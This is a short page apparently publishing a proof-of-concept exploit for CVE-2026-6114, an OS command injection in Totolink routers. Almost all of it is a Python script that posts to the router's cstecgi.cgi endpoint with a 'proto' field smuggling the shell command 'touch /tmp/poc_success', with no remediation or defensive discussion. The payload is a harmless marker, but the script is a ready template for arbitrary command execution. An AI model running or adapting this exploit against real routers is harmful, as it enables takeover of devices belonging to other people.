CVE-2026-6114 Totolink路由器OS命令注入漏洞

import requests # Target URL configuration target_ip = "192.168.0.1" # Replace with actual target IP target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Vulnerable payload data # The 'proto' parameter is vulnerable to OS command injection. # Example payload: Injecting a simple command to verify execution (e.g., creating a file or rebooting). data = { "function": "setNetworkCfg", "proto": "1; touch /tmp/poc_success; #" # Injection point } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: # Sending the malicious POST request response = requests.post(target_url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")